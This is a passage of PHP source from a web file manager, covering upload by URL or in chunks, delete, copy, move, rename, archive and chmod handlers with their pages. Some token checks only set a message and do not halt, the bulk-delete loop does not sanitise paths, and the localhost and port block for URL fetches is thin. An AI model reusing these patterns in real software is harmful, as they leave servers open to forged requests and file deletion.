            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
